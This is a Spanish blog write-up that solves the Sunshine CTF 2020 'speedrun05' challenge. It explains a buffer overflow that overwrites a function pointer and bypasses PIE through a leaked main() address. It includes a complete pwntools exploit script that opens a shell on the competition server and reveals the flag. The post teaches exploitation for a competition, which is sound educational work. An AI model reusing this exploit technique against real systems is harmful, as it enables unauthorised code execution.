Ir al contenido principal

Binary Exploitation (XI): Solución Reto Sunshine CTF 2020 "speedrun05"

Solución a otro reto de la categoría 'Binary Exploitation' de la competición Sunshine CTF 2020.

En esta entrada la solución al desafío que lleva por título "speedrun05", y que, en mi opinión, presenta un nivel de dificultad medio (☆☆).

Enunciado:

Solución: Se proporciona un archivo ejecutable (chall_05) y lo primero que hago es ejecutarlo; incluyo una cadena larga ('AAA…A'), se muestra lo que parece ser una dirección de memoria y veo que el binario es vulnerable a un desbordamiento de ‘buffer’ (en inglés, ‘buffer overflow’):

Después, compruebo los mecanismos de seguridad del binario utilizando ‘checksec’:

Se trata de un binario de 64 bits, y como se ve en la figura anterior NX está habilitado, por lo que no podré inyectar ‘shellcode’ en la pila (en inglés, ‘stack’) para ejecutarlo, y PIE está también habilitado, lo que aleatoriza la dirección base del binario para dificultar el uso por un atacante de sus funciones y de ‘gadgets’ del propio binario (en español dispositivos, y que, en este caso, son pequeños fragmentos de código ya presentes en el binario).

Decompilo el binario con ’Ghidra’:
 
Veo que en main() se utiliza fgets() en lugar de gets() lo que, en principio, evitaría un desbordamiento de ‘buffer’.

Sin embargo, también veo que se realiza una llamada a la función vuln():
Veo que la dirección que se muestra al ejecutar el binario es la de inicio de la función main().

Esta función también utiliza fgets() en lugar de gets()pero al establecerse en 100 el número de caracteres a leer para un ‘buffer’ de 56 caracteres es susceptible a un ataque de desbordamiento de ‘buffer’.

Además, al final de esta función se realiza una llamada a una función ubicada en la dirección que contiene la variable local_10.

Tal y como he dicho, el ‘buffer’ tiene un tamaño de 56 bytes y, conforme a los nombres de las variables local_48 y local_10 en ‘Ghidra’la dirección de retorno de la función vuln() se encontraría desplazada 0x48 (72) bytes desde la dirección de inicio del ‘buffer’ y 0x10 (16) bytes desde la dirección de inicio de la variable local_10.

Asimismo, veo que hay una función win() a la que no se llama nunca:
En esta función se hace una llamada a system() con argumento “/bin/sh”, lo que me permitiría obtener una ‘shell’ en el servidor.

Por tanto, mi plan de ataque consiste en sobrescribir el contenido de la variable local_10 con la de inicio de la función win(), con lo que obtendré una ‘shell’, podré buscar y ver la flag, y, en consecuencia, podré resolver este reto.

Como PIE está habilitado, la dirección de la función win() se obtendrá a partir del desplazamiento de la misma con respecto a la dirección de la función main() que filtre el binario. Para obtener dicho desplazamiento utilizo ‘gdb’ y desensamblo ambas funciones:
El desplazamiento entre ambas funciones es de: 0x76d – 0x75a = 0x13 (19 bytes) y, por tanto, la dirección de la función win() será la dirección de la función main() que filtre el binario - 19 bytes.

Para implementar el ataque creo un pequeño ‘exploit’ mediante un ‘script’ en python para que envíe 56 bytes (0x38) de relleno, tamaño del buffer (56) o, lo que es lo mismo, 0x48 - 0x10 (72 - 16), y luego la dirección de inicio de la función win() (a partir del desplazamiento de la misma con respecto a la dirección de la función main() que filtre el binario, y aunque he calculado manualmente dicho desplazamiento voy a dejar que se haga automáticamente por mí en el siguiente ‘script’), con lo que sobrescribiré el contenido de la variable local_10 con la dirección de inicio de la función win(), se bifurcará a esa función y se abrirá una ‘shell’:

#!/usr/bin/env python3

from pwn import *

binary = context.binary = ELF('./chall_05')

p = remote('chal.2020.sunshinectf.org', 30005)

p.sendlineafter('Race, life\'s greatest.\n','')
p.recvuntil('Yes I\'m going to win: ')
main_address = p.recvline().strip()
main_address = int(main_address,16)
log.info('main: ' + hex(main_address))
win_address = main_address-(binary.sym.main-binary.sym.win)
log.info('win : ' + hex(win_address))

payload = b'A' * 56
payload += p64(win_address)

p.sendline(payload)
p.interactive()

Lo ejecuto:
A partir de que se abra la ‘shell’lo único que queda por hacer es buscar la flag en el servidor. Veo que hay un fichero llamado flag.txt que contiene la solución a este reto: sun{chapter-four-9ca97769b74345b1}

Comentarios

Entradas populares de este blog

Criptografía (I): cifrado Vigenère y criptoanálisis Kasiski

Hace unos días mi amigo Iñaki Regidor ( @Inaki_Regidor ), a quien dedico esta entrada :), compartió en las redes sociales un post titulado "Criptografía: el arte de esconder mensajes"  publicado en uno de los blogs de EiTB . En ese post se explican ciertos métodos clásicos para cifrar mensajes , entre ellos el cifrado de Vigenère , y , al final del mismo, se propone un reto consistente en descifrar un mensaje , lo que me ha animado a escribir este post sobre el método Kasiski  para atacar un cifrado polialfabético ( conociendo la clave descifrar el mensaje es muy fácil, pero lo que contaré en este post es la forma de hacerlo sin saberla ). El mensaje a descifrar es el siguiente: LNUDVMUYRMUDVLLPXAFZUEFAIOVWVMUOVMUEVMUEZCUDVSYWCIVCFGUCUNYCGALLGRCYTIJTRNNPJQOPJEMZITYLIAYYKRYEFDUDCAMAVRMZEAMBLEXPJCCQIEHPJTYXVNMLAEZTIMUOFRUFC Como ya he dicho el método de Vigenère es un sistema de sustitución polialfabético , lo que significa que, al contrario que en un sistema de

Criptografía (XXIII): cifrado de Hill (I)

En este post me propongo explicar de forma comprensible lo que he entendido sobre el cifrado de Hill , propuesto por el matemático Lester S. Hill , en 1929, y que se basa en emplear una matriz como clave  para cifrar un texto en claro y su inversa para descifrar el criptograma correspondiente . Hay tres cosas que me gustan de la criptografía clásica, además de que considero que ésta es muy didáctica a la hora de comprender los sistemas criptográficos modernos: la primera de ellas es que me "obliga" a repasar conceptos de matemáticas aprendidos hace mucho tiempo y, desgraciadamente, olvidados también hace demasiado tiempo, y, por consiguiente, que, como dice  Dani , amigo y coautor de este blog, me "obliga" a hacer "gimnasia mental"; la segunda es que, en la mayoría de las ocasiones, pueden cifrarse y descifrase los mensajes, e incluso realizarse el criptoanálisis de los criptogramas, sin más que un simple lápiz y papel, es decir, para mi es como un pasat

¿Qué significa el emblema de la profesión informática? (I)

Todas o muchas profesiones tienen un emblema que las representa simbólicamente y en el caso de la  informática: " es el establecido en la resolución de 11 de noviembre de 1977  para las titulaciones universitarias superiores de informática, y  está constituido por una figura representando en su parte central  un  núcleo toroidal de ferrita , atravesado por  hilos de lectura,  escritura e inhibición . El núcleo está rodeado por  dos ramas : una  de  laurel , como símbolo de recompensa, y la otra, de  olivo , como  símbolo de sabiduría. La  corona  será la  de la casa real  española,  y bajo el escudo se inscribirá el acrónimo de la organización. ". Veamos los diferentes elementos tomando como ejemplo el emblema del COIIE/EIIEO (Colegio Oficial de Ingenieros en Informática del País Vasco/ Euskadiko Informatikako Ingeniarien Elkargo Ofiziala ) . Pero no sólo el COIIE/EIIEO adopta el emblema establecido en dicha resolución, sino que éste se adopta también como im